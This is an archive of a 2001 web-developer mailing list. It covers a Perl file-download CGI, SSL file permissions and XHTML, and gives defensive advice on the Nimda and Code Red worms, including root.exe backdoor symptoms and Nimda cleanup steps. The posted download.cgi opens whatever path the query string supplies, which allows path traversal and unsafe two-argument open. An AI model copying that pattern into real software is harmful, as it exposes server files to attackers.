to a file when SSL is on versus when it is off?




From evolt at brasscannon.net  Wed Sep 19 08:09:52 2001
From: evolt at brasscannon.net (Kevin Martin)
Date: Wed Sep 19 08:09:52 2001
Subject: [thelist] Re: Browser detection and save file as
In-Reply-To: <20010919002721.27ECE9F9@relay.evolt.org>; from thelist-admin@lists.evolt.org on Tue, Sep 18, 2001 at 07:27:21PM -0500
References: <20010919002721.27ECE9F9@relay.evolt.org>
Message-ID: <20010919090334.A7412@brasscannon.net>

Thanks to Greg's pointer on how Cold Fusion does it, I was able to make
a perl CGI to do the same thing.  It's basically a shotgun marriage of
my very first CGI (provided here by a kind soul) with a perl push-a-file 
routine that is normally used to send CA certificates. :-)

Got a tip from Microsoft on how to fix the content-disposition header,
to override IE's insistence on saving the file as 'download.cgi' -- 
it now appears to work in both IE 5 and Netscape.

It needs some bulletproofing, of course, but here's what it looks like:

8<------ clip here
#!/usr/bin/perl
## Syntax: http://mysite/cgi-bin/download.cgi?username=filename
@params=split(/=/,$ENV{'QUERY_STRING'});
my $user_dir = "/home/www/$params[0]";
my $user_file = $params[1];
my $send_file = "$user_dir/$user_file";

##  Uncomment to debug in browser:
#print "Content-type: text/html\r\n\r\n";
#print "<html><body>";
#print "P0: ", $params[0], " P1: ", $params[1], "\r\n";
#print "SF: ", $send_file, "\r\n";
#print "</body></html>";
##

my $data = "";
open(AFILE, "<$send_file");
while(<AFILE>) { $data .= $_; }
close(AFILE);
print "Content-type: application/x-unknown\r\n";
print "Content-disposition: inline; filename= ", $user_file, "\r\n";
print "Content-length: ", length($data), "\r\n\r\n$data";

1;

# end of download.cgi
8<------ clip here

-- 
Kevin "digger" Martin <evolt at brasscannon.net>




From andrew.chadwick at prnewswire.co.uk  Wed Sep 19 08:36:26 2001
From: andrew.chadwick at prnewswire.co.uk (Andrew Chadwick)
Date: Wed Sep 19 08:36:26 2001
Subject: [thelist] Apache SSL and Perl save file
In-Reply-To: <200109191243.f8JChgQm003154@leo.evolt.org>
References: <20010919002657.3EE4B9E3@relay.evolt.org> <200109191243.f8JChgQm003154@leo.evolt.org>
Message-ID: <20010919141655.A13179@oit.net>

On Wed, Sep 19, 2001 at 07:43:22AM -0500, Mark Gillingham wrote:
> I inherited a set of Perl scripts that collects student information and 
> saves it to a flat text file. I needed to move the scripts to a new 
> host, but still on Linux. The scripts work in non-SSL calls (http) and 
> most of the work in SSL too (e.g., https). The part that does not work, 
> but only in SSL, is appending a text variable to an open file.
> 
> My question. Does Linux/Appache SSL have different rules for appending 
> to a file when SSL is on versus when it is off?

Odd. Don't think it could, assuming you're using the Perl iterpreter
itself rather than mod_perl. Only one thing I can think of really:
check your script's effective uid and gid and make sure they can write
to the file in question. Check that the script can really open the
file by opening it like

   open (OUT, ">>", $file)   or die "can't open $file: $!\n";

and check your server logs if it breaks after doing that.

-- 
Andrew Chadwick, UNIX/Internet Programmer, PR Newswire Europe, Oxford
--
The views or opinions above are solely mine and are not necessarily those
of PR Newswire Europe. The message may contain privileged or confidential
information; if you are not a named recipient, notify me, and do not copy,
use, or disclose this message. <andrew.chadwick at prnewswire.co.uk>.




From ghunt at sympatico.ca  Wed Sep 19 08:57:48 2001
From: ghunt at sympatico.ca (Glenn Hunt)
Date: Wed Sep 19 08:57:48 2001
Subject: [thelist] Re: Browser detection and save file as
In-Reply-To: <20010919090334.A7412@brasscannon.net>
Message-ID: <000401c14112$9c550980$0300a8c0@glenn>

Kevin,

 From my initial email:

<cfheader name="Content-disposition" value="inline;
filename=<filename>">

You will notice that I did have the filename attribute in the
Content-disposition section.

On another note, the Internet Explorer 5.5 SP1 issue was resolved in
SP2. See this:

http://support.microsoft.com/directory/article.asp?ID=KB;EN-US;Q281119

Glenn Hunt
ghunt at hds.ca



-----Original Message-----
From: thelist-admin at lists.evolt.org
[mailto:thelist-admin at lists.evolt.org] On Behalf Of Kevin Martin
Sent: Wednesday, September 19, 2001 9:04 AM
To: thelist at lists.evolt.org
Subject: [thelist] Re: Browser detection and save file as


Thanks to Greg's pointer on how Cold Fusion does it, I was able to make
a perl CGI to do the same thing.  It's basically a shotgun marriage of
my very first CGI (provided here by a kind soul) with a perl push-a-file

routine that is normally used to send CA certificates. :-)

Got a tip from Microsoft on how to fix the content-disposition header,
to override IE's insistence on saving the file as 'download.cgi' -- 
it now appears to work in both IE 5 and Netscape.

It needs some bulletproofing, of course, but here's what it looks like:

8<------ clip here
#!/usr/bin/perl
## Syntax: http://mysite/cgi-bin/download.cgi?username=filename
@params=split(/=/,$ENV{'QUERY_STRING'});
my $user_dir = "/home/www/$params[0]";
my $user_file = $params[1];
my $send_file = "$user_dir/$user_file";

##  Uncomment to debug in browser:
#print "Content-type: text/html\r\n\r\n";
#print "<html><body>";
#print "P0: ", $params[0], " P1: ", $params[1], "\r\n";
#print "SF: ", $send_file, "\r\n";
#print "</body></html>";
##

my $data = "";
open(AFILE, "<$send_file");
while(<AFILE>) { $data .= $_; }
close(AFILE);
print "Content-type: application/x-unknown\r\n";
print "Content-disposition: inline; filename= ", $user_file, "\r\n";
print "Content-length: ", length($data), "\r\n\r\n$data";

1;

# end of download.cgi
8<------ clip here

-- 
Kevin "digger" Martin <evolt at brasscannon.net>


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From mqy4fxax36001 at sneakemail.com  Wed Sep 19 09:07:56 2001
From: mqy4fxax36001 at sneakemail.com (Joergen Ramskov)
Date: Wed Sep 19 09:07:56 2001
Subject: [thelist] SV: thelist digest, Vol 1 #1652 - 6 msgs
Message-ID: <135172109.1000908392373.JavaMail.root@boots>

Yes, another worm and it's pretty nasty - I have seen info here:
http://www.aceshardware.com/
http://news.cnet.com/news/0-1003-200-7215349.html?tag=tp_pr
http://slashdot.org/article.pl?sid=01/09/18/151203&mode=thread

Greetings
Joergen Ramskov


> Message: 1
> From: "aardvark" <roselli at earthlink.net>
> To: thelist at lists.evolt.org
> Date: Tue, 18 Sep 2001 11:19:04 -0400
> Subject: [thelist] another worm?
> Reply-To: thelist at lists.evolt.org
> 
> 
> ok, a few of our clients were hit this morning by something that 
> tries to get your browser (on windows) to download a .eml file 
> which it would then launch via an .exe...
> 
> i can't get to any virus sites, since all web traffic coming 
> and going 
> is pretty hosed right now...
> 
> so, is there a new worm out there?  the IIS servers affected were 
> *supposedly* patched against the last batch...
> 
> anyone?





From mqy4fxax36001 at sneakemail.com  Wed Sep 19 09:08:09 2001
From: mqy4fxax36001 at sneakemail.com (Joergen Ramskov)
Date: Wed Sep 19 09:08:09 2001
Subject: [thelist] RE: another worm?
Message-ID: <135726840.1000908469935.JavaMail.root@boots>

I have no problems getting Symantec' website - info here:
http://www.sarc.com/avcenter/venc/data/w32.nimda.a at mm.html

Greetings
Joergen Ramskov

> Message: 1
> From: "aardvark" <roselli at earthlink.net>
> To: thelist at lists.evolt.org
> Date: Tue, 18 Sep 2001 11:19:04 -0400
> Subject: [thelist] another worm?
> Reply-To: thelist at lists.evolt.org
> 
> 
> ok, a few of our clients were hit this morning by something that 
> tries to get your browser (on windows) to download a .eml file 
> which it would then launch via an .exe...
> 
> i can't get to any virus sites, since all web traffic coming 
> and going 
> is pretty hosed right now...
> 
> so, is there a new worm out there?  the IIS servers affected were 
> *supposedly* patched against the last batch...
> 
> anyone?





From djc at starkmedia.com  Wed Sep 19 09:20:36 2001
From: djc at starkmedia.com (Daniel J. Cody)
Date: Wed Sep 19 09:20:36 2001
Subject: [thelist] failure notice (& CF TIP)
References: <NBBBJAHNMNCICAMJBONMEEIKFGAA.richard.morris@web-designers.co.uk>
Message-ID: <3BA8A641.7080701@starkmedia.com>

One more tip while people are tossing them about about virii and windows..

Search your IIS server for a file called root.exe and delete it - if you 
have it you've been compromised. *NO* patches from MS delete this file.

Ironically, I blogged this last week:
root.exe allows anyone on the internet to have commands on the machine 
executed with web server privileges, and can typically be used to set up 
logging of credit card information and other sensitive data on SSL 
servers. This has created a new class of ecommerce site which has been 
correctly patched for known server vulnerabilities, but have a live 
backdoor facility enabling attackers to continue to remain in control of 
the machine.

typcially you'll find the file in the inetpub/scripts directory. I had 
four clients yesterday who had their machines 100% patched, but were 
still being controlled through the root.exe file. whats more scary is 
13% of *SSL* IIS websites on the internet have the root.exe exploit 
installed on them according to Netcraft..

.djc.

Richard H. Morris wrote:

> John Handelaar [genghis at members.evolt.org] wrote:
> 
> 
>>-----Original Message-----
>>Utterly unhelpful.  Way to go, Richard.
>>
>>The answer:
>>
>>1	Look for all instances of README.EXE on your local
>>	disks and delete them
>>
>>2	Search the registry for 'macrosoft' and remove the
>>	keys
>>
>>3	Uninstall IIS and Windows Scripting Server on your
>>	desktop machine
>>
>>4	Disable 'active scripting' in IE at all 4 security
>>	settings.  Better still, get Mozilla 0.9.4 instead
>>	'cos it's (believe it or not) more robust and doesn't
>>	suffer from the security bug which enables one
>>	of this worm's 6 or 7 methods of propagation.
>>
> 
> Re: 4, just get a Mac and don't worry about Wintel executables? Just as
> helpful advice...






From r937 at interlog.com  Wed Sep 19 09:36:22 2001
From: r937 at interlog.com (rudy)
Date: Wed Sep 19 09:36:22 2001
Subject: [thelist] learning from errors
Message-ID: <01c14117$694a1300$bb48149a@rudy>

as yogi berra said, sometimes you can see a lot just by looking

to try this for yourself, make sure you refuse cookies
then visit www.eprise.com

here's what the home page has instead of an H1 --

  <TD COLSPAN=3 width="353" height="94" bgcolor="#E7DEB4">
  <A HREF="/eprise/main/2_Products/ProductRelease/00_Vision"
   ><IMG SRC="/images/home/StrategicWebA.gif"
    width=353 height=94 border=0
    Alt="Strategic Web Content Management"></A></TD>
  <TD width="187" height="94" bgcolor="#E7DEB4">
  <A HREF="/eprise/main/2_Products/ProductRelease/00_Vision"
   ><IMG SRC="/images/home/StrategicWebB.gif"
    width=187 height=94 border=0
    Alt="Strategic Web Content Management"></A></TD>

as a web developer i am immediately indisposed towards this company

but perhaps unfairly

after all, they are in the content management game and i happened to
notice a weakness in their web site

the two are not necessarily related

anyhow, to continue...

make sure you keep refusing cookies, and click on Live Web Seminar
http://www.eprise.com/forms/specialoffer/jumppage2001.cfm

see the book (left sidebar) they're giving away? click that link
http://www.eprise.com/forms/specialoffer/SelfAssess1.cfm?Source=3

i get this glorious CF error --

    Error resolving parameter COOKIE.DRLISTID
    The cookie value DRLISTID was not found in the current template file.
    The cause of this error is very likely one of the following things:
        The name of the cookie variable has been misspelled.
        The cookie variable has not yet been created or has timed out.
    To set default values for cookie variables you should use the CFPARAM
    tag (e.g. <CFPARAM NAME="Cookie.Color" DEFAULT="Red">)

which, as an aside, is typical of the superb quality of cold fusion error
messages, and i mean that sincerely -- they tell you in simple words
what's wrong, and even what to do about it

the error message also tells me that it was processing
    C:\INETPUB\WWWROOT\FORMS
       \SPECIALOFFER\PRIMARYCHOICETRACKING.CFM.

which tells me that eprise is studying where its referrals are coming  from

that's not wrong, by the way

if i had a CMS business, i'd certainly track referrals too

but i'd also make sure it would work if cookies are refused, eh

i wouldn't want to get caught looking (to use the baseball analogy)


rudy





From steve.cook at evitbe.com  Wed Sep 19 09:41:35 2001
From: steve.cook at evitbe.com (Steve Cook)
Date: Wed Sep 19 09:41:35 2001
Subject: [thelist] failure notice (& CF TIP)
Message-ID: <3B55A5A1F233D41183A800D0B74D4D5213AB6D@SBS>

Hi Dan!

If one has that file, does it mean that the server *has* been infected by a
worm, or is it that the file is a security loophole?

I ask because root.exe is on our Win 2000 server, but as that is sitting
behind what I consider to be a *very* secure firewall I find it hard to
believe that anyone has compromised our box.

Having found the file, is there anything else in particular I should be
looking for?

.steve


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> -----Original Message-----
> From: Daniel J. Cody [mailto:djc at starkmedia.com]
> Sent: den 19 september 2001 16:06
> To: thelist at lists.evolt.org
> Subject: Re: [thelist] failure notice (& CF TIP)
> 
> 
> One more tip while people are tossing them about about virii 
> and windows..
> 
> Search your IIS server for a file called root.exe and delete 
> it - if you 
> have it you've been compromised. *NO* patches from MS delete 
> this file.
> 




From john at userfrenzy.com  Wed Sep 19 09:47:47 2001
From: john at userfrenzy.com (John Handelaar)
Date: Wed Sep 19 09:47:47 2001
Subject: [thelist] failure notice (& CF TIP)
In-Reply-To: <3B55A5A1F233D41183A800D0B74D4D5213AB6D@SBS>
Message-ID: <ODEOKNPHACELCCHDHABAGEGMCPAA.john@userfrenzy.com>

> -----Original Message-----
> From: thelist-admin at lists.evolt.org
> [mailto:thelist-admin at lists.evolt.org]On Behalf Of Steve Cook
> Sent: 19 September 2001 15:39
> To: 'thelist at lists.evolt.org'
> Subject: RE: [thelist] failure notice (& CF TIP)
> 
> 
> Hi Dan!
> 
> If one has that file, does it mean that the server *has* been 
> infected by a
> worm

Yep.  Wipe it right now.  Then unplug the box's
network cable.  Then get the fixes for this one
*and* the code red patch from MS.  Then reboot
and reconnect.

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From pkaulbak at idirect.ca  Wed Sep 19 09:47:50 2001
From: pkaulbak at idirect.ca (Peter Kaulback)
Date: Wed Sep 19 09:47:50 2001
Subject: [thelist] server connections
Message-ID: <5.1.0.14.0.20010919104424.00a80968@mail.idirect.ca>

Is there any resource which could give ma an approximate number of how many 
web servers are connected through dialup, dedicated or otherwise?

Peter Kaulback





From djc at starkmedia.com  Wed Sep 19 09:47:57 2001
From: djc at starkmedia.com (Daniel J. Cody)
Date: Wed Sep 19 09:47:57 2001
Subject: [thelist] failure notice (& CF TIP)
References: <3B55A5A1F233D41183A800D0B74D4D5213AB6D@SBS>
Message-ID: <3BA8AD0A.8090304@starkmedia.com>

Hey Steve -

Steve Cook wrote:

> Hi Dan!
> 
> If one has that file, does it mean that the server *has* been infected by a
> worm, or is it that the file is a security loophole?


root.exe is a by-product of the code red series, so its presence 
suggests that your server *was* infected at one time.

http://www.symantec.com/avcenter/venc/data/codered.v3.html 2/3 of the 
way down

http://vil.mcafee.com/dispVirus.asp?virus_k=99177& half way down

 
> I ask because root.exe is on our Win 2000 server, but as that is sitting
> behind what I consider to be a *very* secure firewall I find it hard to
> believe that anyone has compromised our box.


even the most secure firewalls in front of web servers have to allow 
port 80 through, and thats how it spreads :(

everyone can expect more and more of this if 'web services' - that all 
flow over port 80, which is typcially open on the firewall - really take 
off sadly.

anyways, shout if you have more questions :)

.djc.






From steve.cook at evitbe.com  Wed Sep 19 09:59:57 2001
From: steve.cook at evitbe.com (Steve Cook)
Date: Wed Sep 19 09:59:57 2001
Subject: [thelist] failure notice (& CF TIP)
Message-ID: <3B55A5A1F233D41183A800D0B74D4D5213AB6F@SBS>

Hmmm! Curious. There's not even an open port 80 on our firewall. The server
is on our internal network - it's a development server with NO inward
connection to the Internet.

*wonders how that got there*

It could *possibly* have come from within our service prover's network, but
that's all I can think of.


Oh well. I'll check it out. Thanks for the heads-up!



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> -----Original Message-----
> From: Daniel J. Cody [mailto:djc at starkmedia.com]
> Sent: den 19 september 2001 16:35
> To: thelist at lists.evolt.org
> Subject: Re: [thelist] failure notice (& CF TIP)
> 
> 
> Hey Steve -
> 
> Steve Cook wrote:
> 
> > Hi Dan!
> > 
> > If one has that file, does it mean that the server *has* 
> been infected by a
> > worm, or is it that the file is a security loophole?
> 
> 
> root.exe is a by-product of the code red series, so its presence 
> suggests that your server *was* infected at one time.
> 




From john.best at simplytrading.com  Wed Sep 19 10:17:53 2001
From: john.best at simplytrading.com (John Best)
Date: Wed Sep 19 10:17:53 2001
Subject: [thelist] failure notice (& CF TIP)
Message-ID: <80580AC1CF583E4E87794E275D17899101F8B2@stexchange1.simplytrading.ltd.uk>

As a little note..removing root.exe is possibly not sufficient.

As root.exe allows people access to your system you will also need to 
have a good poke around and ensure that nothing has been added/changed.
(in an ideal world you would rebuild from safe backups, apply patches
and then reconnect)

Things hackers may do include
1.) Add additional backdoors/trojans.
2.) set registry keys to run code when the computer boots-starting a
rogue service or something.
3.) add users/ elevate users privalages.

I have no idea how one goes around convining yourself that it's all
safe.

Sorry to be such a dampner, but a false sense of security is very
dangerous.

John Best

ps....I read a book and it scared me.

> 
> Hi Dan!
> 
> If one has that file, does it mean that the server *has* been 
> infected by a
> worm, or is it that the file is a security loophole?
> 
> I ask because root.exe is on our Win 2000 server, but as that 
> is sitting
> behind what I consider to be a *very* secure firewall I find 
> it hard to
> believe that anyone has compromised our box.
> 
> Having found the file, is there anything else in particular I 
> should be
> looking for?
> 
> .steve
> 
> 
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> ----------------------------------
> 
> > -----Original Message-----
> > From: Daniel J. Cody [mailto:djc at starkmedia.com]
> > Sent: den 19 september 2001 16:06
> > To: thelist at lists.evolt.org
> > Subject: Re: [thelist] failure notice (& CF TIP)
> > 
> > 
> > One more tip while people are tossing them about about virii 
> > and windows..
> > 
> > Search your IIS server for a file called root.exe and delete 
> > it - if you 
> > have it you've been compromised. *NO* patches from MS delete 
> > this file.
> > 
> 
> 
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From bill at webmarketingworx.com  Wed Sep 19 10:28:13 2001
From: bill at webmarketingworx.com (Bill Haenel)
Date: Wed Sep 19 10:28:13 2001
Subject: [thelist] failure notice (& CF TIP)
In-Reply-To: <3BA8AD0A.8090304@starkmedia.com>
Message-ID: <NEBBKJHBCLFCFFMCEMFIGEEICHAA.bill@webmarketingworx.com>

> > If one has that file, does it mean that the server *has* been
> infected by a
> > worm, or is it that the file is a security loophole?

If one does not have that file, or any other symptoms of the virus, except
for an AV program reporting that Admin.dll and a bunch of scripts in the
C:\Inetpub\scripts\ directory are all infected, do I have it or not?

It's kind of strange, those files are clearly infected, but my AV program
does not seem to be able to delete them. Every time I restart, they are back
again. And yet, I do not have root.exe or load.exe, or readme.exe, or any
strange lines in system.ini, or any of the other symptoms listed on
Symantec's report.

Anyone having the same issues?

BH





From abbey at abbeyink.com  Wed Sep 19 10:43:00 2001
From: abbey at abbeyink.com (Tamara Abbey)
Date: Wed Sep 19 10:43:00 2001
Subject: [thelist] embarrassingly stupid XHTML questions
In-Reply-To: <5.1.0.14.2.20010917135300.00a4b5d0@data1701d.com>
References: <01c13fba$524e1380$8551149a@rudy>
Message-ID: <5.0.0.25.2.20010919102824.009f3a80@mail.abbeyink.com>

At 01:53 PM 9/17/2001 -0700, you wrote:
>At 01:50 PM 9/17/01, rudy wrote:
>>although i have heard that
>>
>>       <?xml version="1.0" encoding="UTF-8"?>
>>
>>can cause problems and for the time being is optional
>
>The only browser I ever saw that cause a break was in Mac IE 4.0.  With 
>the declaration there, the page will not display at all.

I'm a little late on this and I don't know if it was answered, but the xml 
line above will wreak havoc on php pages where the server has short tags on 
since the php will try to render the xml and all I ever see is *parse error*.





From john at userfrenzy.com  Wed Sep 19 10:43:09 2001
From: john at userfrenzy.com (John Handelaar)
Date: Wed Sep 19 10:43:09 2001
Subject: [thelist] failure notice (& CF TIP)
In-Reply-To: <NEBBKJHBCLFCFFMCEMFIGEEICHAA.bill@webmarketingworx.com>
Message-ID: <ODEOKNPHACELCCHDHABAIEGOCPAA.john@userfrenzy.com>

> -----Original Message-----
> From: thelist-admin at lists.evolt.org
> [mailto:thelist-admin at lists.evolt.org]On Behalf Of Bill Haenel
> Sent: 19 September 2001 16:27
> To: thelist at lists.evolt.org
> Subject: RE: [thelist] failure notice (& CF TIP)
>
> If one does not have that file, or any other symptoms of the virus, except
> for an AV program reporting that Admin.dll and a bunch of scripts in the
> C:\Inetpub\scripts\ directory are all infected, do I have it or not?
>
> It's kind of strange, those files are clearly infected, but my AV program
> does not seem to be able to delete them.

Because IIS has them open?

Shut the 'IIS Admin Service' - it'll bring the rest of IIS
down with it.  Then try again.

Incidentally, you don't really need admin.dll unless you
*really* need Frontpage extensions...  get rid of your
Frontpage extensions installation if you can.

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From john.best at simplytrading.com  Wed Sep 19 12:07:44 2001
From: john.best at simplytrading.com (John Best)
Date: Wed Sep 19 12:07:44 2001
Subject: [thelist] failure notice (& CF TIP)
Message-ID: <80580AC1CF583E4E87794E275D178991015745@stexchange1.simplytrading.ltd.uk>

--
If one does not have that file, or any other symptoms of the virus,
except
for an AV program reporting that Admin.dll and a bunch of scripts in the
C:\Inetpub\scripts\ directory are all infected, do I have it or not?
--


Anyone who has any realevant links please post......

But I thought I read somewhere that admin.dll is a file that the virus
tries to copy across to the server.

The fact that it keeps reappearing is possibly a very bad sign (the
virus notices they are gone and fetches them again.)

I say again this is bassed on some stuff I think I read.

anyone with a link that can help this guy out?


John Best




From andy.war at ntlworld.com  Wed Sep 19 12:07:47 2001
From: andy.war at ntlworld.com (Andy Warwick)
Date: Wed Sep 19 12:07:47 2001
Subject: [thelist] Open Source licence for web site source code
Message-ID: <B7CE8333.698A%andy.war@ntlworld.com>

Anyone know where I can find a model open source licence for web site source
code.

I need something in legal speak that basically says:

1. It's okay to read this xHTML, etc. code.
2. It's fine to re-use bits of it in other sites as long as you retain a
credit to those bits that are mine. It's fine to sell those bits as part of
a new whole.
3. You can't take all this code and sell it verbatim as your own.
4. I retain right to re-use bits of it, but you (client) have worldwide,
exclusive rights to the specific "business model"/"application" that this
code creates.

What I want is a situation where someone can look at my code and learn from
it, modify it themselves, give it to other designers to modify, etc. Even
take bits of it and use in in stuff they charge for and keep secret, as long
as I get a credit.

Equally, I don't want to lose all rights to it, and yet want to protect
clients so I can continue to use bits as long as I don't simply sell the
same code again and again to their competitors.

Basically, I create a website for a client at which point they "own the
code" and can do what the hell they like, but they don't restrict my rights
to sell a derived work to someone else. But I want to make sure that once
the site is up, the client has to credit me with the code creation, even if
they own it now. Something like I grant them exclusive, worldwide rights to
code and derived works for that "complete site", but retain the rights to do
the same again with other "complete sites" and other clients with code that
replicates minor portions of the first site. So their "exclusive" rights is
for the whole thing and not specific bits.

Make sense?

I think a BSD-style licence does the trick, but wondered if anyone has one
written specifically for websites that they don't mind me using.

Thanks in anticipation.

Andy W





From bill at webmarketingworx.com  Wed Sep 19 12:07:56 2001
From: bill at webmarketingworx.com (Bill Haenel)
Date: Wed Sep 19 12:07:56 2001
Subject: [thelist] failure notice (& CF TIP)
In-Reply-To: <ODEOKNPHACELCCHDHABAIEGOCPAA.john@userfrenzy.com>
Message-ID: <NEBBKJHBCLFCFFMCEMFIOEEJCHAA.bill@webmarketingworx.com>

> > If one does not have that file, or any other symptoms of the
> virus, except
> > for an AV program reporting that Admin.dll and a bunch of scripts in the
> > C:\Inetpub\scripts\ directory are all infected, do I have it or not?
> >
> > It's kind of strange, those files are clearly infected, but my
> AV program
> > does not seem to be able to delete them.
>
> Because IIS has them open?
>
> Shut the 'IIS Admin Service' - it'll bring the rest of IIS
> down with it.  Then try again.


At first, yes - good call. However, this AM I shut IIS and all of its
co-conspirators down, and even booted into safe mode and disconnected my
network cable from the cable modem - and STILL had the same problem.


> Incidentally, you don't really need admin.dll unless you
> *really* need Frontpage extensions...  get rid of your
> Frontpage extensions installation if you can.

Thanks so much for the tip - I was wondering if maybe I could do something
like that, but didn't know that's what Admin.dll was for. I will surely get
rid of FP Extensions and see if that makes a difference. But what about all
those scripts? I wonder why they keep coming back - even when I'm not
connected to the net!

BH





From sgd at ti3.com  Wed Sep 19 12:13:09 2001
From: sgd at ti3.com (Scott Dexter)
Date: Wed Sep 19 12:13:09 2001
Subject: [thelist] failure notice (& CF TIP)
Message-ID: <AE9BEBC586A48B4BA47843C4148B82511CFBE8@apollo.ti3.com>

> --
> If one does not have that file, or any other symptoms of the virus,
> except

I'm replying twice, with email I"ve recieved from the NTBUGTRAQ list:

---

Infection vectors;
- -----------------
a) Email as an attachment of MIME audio/x-wav type.
b) By browsing an infected webserver with Javascript execution
enabled and using a version of IE vulnerable to the exploits
discussed in MS01-020 (e.g. IE 5.0 or IE 5.01 without SP2).
c) Machine to machine in the form of IIS attacks (primarily
attempting to exploit vulnerabilities created by the effects of Code
Red II, but also vulnerabilities previously patched by MS00-078)
d) Highlighting either a .eml or .nws in Explorer with Active Desktop
enabled (W2K/ME/W98 by default) then the THUMBVW.DLL will execute the
file and attempt to download the README.EXE referenced in it
(depending on your IE version and zone settings).
e) Mapped drives. Any infected machine which has mapped network
drives will likely infect all of the files on the mapped drive and
its subdirectories

To prevent yourself from being infected;

a) Ensure all IE versions have applied MS01-027 (or are IE 5.01SP2 or
above)

b) Disable Active Scripting in IE

c) Ensure all IIS installations have applied MS01-044 (or at the very
least MS01-033)

d) Use the CALCS program to modify the permissions on TFTP.EXE to
remove all use;

CALCS %systemroot%/system32/tftp.exe /D Everyone
CALCS %systemroot%/system32/tftp.exe /D System

Do the same for CMD.EXE
(note, this could be tried with THUMBVM.DLL as well, haven't tried
this myself yet)

e) Ensure that TFTP is not permitted out through your network gateway
(note that newly infected machines may try and TFTP *internally* from
some other infected machine you have on your network)

f) Modify or remove;

HKEY_CLASSES_ROOT\.eml
HKEY_CLASSES_ROOT\.nws

Cleansing information;
- ---------------------

Nimda is viral, so while you can remove various files that it drops
it probably will not be cleaned completely by manual means. This
means you will have to use your AntiVirus vendor's product to
completely cleans.

a) Load.exe dropped as hidden/system file (probably in %systemroot%)
b) Riched20.dll dropped with today's date as hidden/system file.
c) Readme.exe dropped in every directory
d) Admin.dll dropped in /scripts and/or root directories (not the
_vti_bin directories of FrontPage)
e) .eml and .nws files dropped in every directory
f) Possibly modified your default home page in web dirs.
g) Infected numerous files (if not all files) with the 56kb
executable.
h) Reports of people having files lumped together into .eml files

Check with your AV Vendor regularly for updates to the cleansing
programs. I would appreciate any reports from AV Vendors as to how
complete they feel their cleaners currently are. I will do an update
later tonight based on responses.

Cheers,
Russ - Surgeon General of TruSecure Corporation/NTBugtraq Editor

---

sgd





From sgd at ti3.com  Wed Sep 19 12:13:12 2001
From: sgd at ti3.com (Scott Dexter)
Date: Wed Sep 19 12:13:12 2001
Subject: [thelist] failure notice (& CF TIP)
Message-ID: <AE9BEBC586A48B4BA47843C4148B82511CFBE9@apollo.ti3.com>

> If one does not have that file, or any other symptoms of the virus,
> except

Second :


http://www.f-secure.com/v-descs/nimda.shtml


Thanks
sgd




From john at userfrenzy.com  Wed Sep 19 12:25:52 2001
From: john at userfrenzy.com (John Handelaar)
Date: Wed Sep 19 12:25:52 2001
Subject: [thelist] failure notice (& CF TIP)
In-Reply-To: <NEBBKJHBCLFCFFMCEMFIOEEJCHAA.bill@webmarketingworx.com>
Message-ID: <ODEOKNPHACELCCHDHABAEEHCCPAA.john@userfrenzy.com>

> -----Original Message-----
> From: thelist-admin at lists.evolt.org
> [mailto:thelist-admin at lists.evolt.org]On Behalf Of Bill Haenel
> Sent: 19 September 2001 17:43
> To: thelist at lists.evolt.org
> Subject: RE: [thelist] failure notice (& CF TIP)
> 
> > Shut the 'IIS Admin Service' - it'll bring the rest of IIS
> > down with it.  Then try again.
> 
> At first, yes - good call. However, this AM I shut IIS and all of its
> co-conspirators down, and even booted into safe mode and disconnected my
> network cable from the cable modem - and STILL had the same problem.

Then there's one of 3 things left:

1	Find something running as a service which oughtn't
	to be there (CTRL-ALT-DEL:task manager:processes).
	Kill it and delete it, look for refs to it in the 
	registry and delete them.  If you have no idea what
	I'm talking about then mail me a list of processes.

or (less likely)

2	I'm hearing something about SYSTEM.INI resetting
	the Windows shell to 'explorer.exe' and appending
	some autorun shit to it.  Worth checking just in case.

or (much less likely)

3	Make sure you've got the permission required to nuke
	the file.  If you're not logged in as Administrator
	it might not work.

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From djc at members.evolt.org  Wed Sep 19 12:25:57 2001
From: djc at members.evolt.org (Daniel J. Cody)
Date: Wed Sep 19 12:25:57 2001
Subject: [thelist] Daily "Links That Look Good"... (fwd)
Message-ID: <Pine.LNX.4.21.0109191225160.19774-100000@leo.evolt.org>


---------- Forwarded message ----------
Date: Wed, 19 Sep 2001 13:09:45 -0400
From: Morbus Iff <morbus at disobey.com>
To: thelist at evolt.org
Subject: Daily "Links That Look Good"...

Every day, I run through about 200 sites using my AmphetaDesk [1] and 
quickly throw them into the root of my bookmark folder so that I can read 
them later. As I was going through them today, I noticed a good portion of 
them were design related. Thus, I shall share (course, since I haven't read 
them yet, I can't guarentee much of anything <g>):

    WDVL Design and Architecture of a Content-Rich Web Site
    http://wdvl.internet.com//Authoring/Design/Design/index.html

    Batik SVG Toolkit
    http://xml.apache.org/batik/

    Effective Info Architecture (Web Techniques, Oct 2001)
    http://webtechniques.com/archives/2001/10/chak/

    Liquid Tables (hey #evolt! <g>)...
    http://www.evolt.org/article/Liquid_Tables/20/2321/

    That Darned Content Production Graphics with Wendy Peck
    http://www.webreference.com/graphics/column51/
    http://www.webreference.com/graphics/column52/

    The myth of optimal web design - UIWEB.COM
    http://www.uiweb.com/issues/issue17.htm

    WDVL Usability - the Basics
    http://wdvl.internet.com/Authoring/Design/Basics/

    web.oreilly.com -- Confessions of an Accidental Programmer
    http://web.oreilly.com/news/perlmanagement_0901.html

    ZapThink XML Industry Analysts and the XML Standards Report
    http://www.zapthink.com/reports/proscons-view.html

Merry Worm Stomping!

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From skaiser1 at skdesigns.com  Wed Sep 19 12:51:55 2001
From: skaiser1 at skdesigns.com (Shirley Kaiser, SKDesigns)
Date: Wed Sep 19 12:51:55 2001
Subject: Readme.exe,  Eudora, and Opera (was Re: [thelist] failure
  notice (& CF TIP))
In-Reply-To: <3BA8A641.7080701@starkmedia.com>
References: <NBBBJAHNMNCICAMJBONMEEIKFGAA.richard.morris@web-designers.co.uk>
Message-ID: <5.1.0.14.2.20010919101621.02f80860@mail.midtown.net>

Speaking of the Readme.exe file:

I do NOT use Outlook, I use Opera 5.12 as my primary browser, and I don't 
have NT server or IIS server installed on my hard drive. They came in to my 
computer without my knowledge in the least. (I'm on a PC with Win98)

My ISP's server got nailed yesterday morning with the Nimda virus, and I 
also ended up having 5 copies of the Readme.exe file in my Eudora files in 
the Embedded folder, NOT the attachments folder where virus attachments to 
email would go:

Qualcomm\Eudora\Embedded\Readme.exe

And since I received it several times, Eudora changed the name 
automatically, so there was:
Readme.exe
Readme1.exe
Readme2.exe
Readme3.exe
Readme4.exe

The same files were also in the backup files that I've set Eudora to 
automatically make.

When one of my colleagues found the virus (unknowingly at that point) at 
